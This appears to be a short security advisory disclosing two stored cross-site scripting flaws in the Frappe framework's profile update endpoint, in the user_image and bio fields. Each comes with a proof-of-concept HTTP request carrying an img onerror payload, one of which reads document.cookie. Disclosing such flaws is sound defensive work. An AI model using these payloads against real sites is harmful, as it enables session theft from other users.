An authenticated user can inject malicious JavaScript into the user_image field of the profile page using an XSS payload within the file path or HTML context. This field is rendered without sufficient sanitization, allowing stored script execution in the context of other authenticated users. *Proof of Concept:*POST /api/method/frappe.desk.page.user_profile.user_profile.update_profile_info HTTP/2 Host: --host-- profile_info={"user_image":"/private/files/\"><img src=x onerror=alert('XSS')>fd12cb.jpg"} --- packet storm appended second exploit --- An authenticated attacker can inject JavaScript into the bio field of their user profile. When the profile is viewed by another user, the injected script executes. *Proof of Concept:* POST /api/method/frappe.desk.page.user_profile.user_profile.update_profile_info HTTP/2 Host: --host-- profile_info={"bio":"\"><img src=x onerror=alert(document.cookie)>"}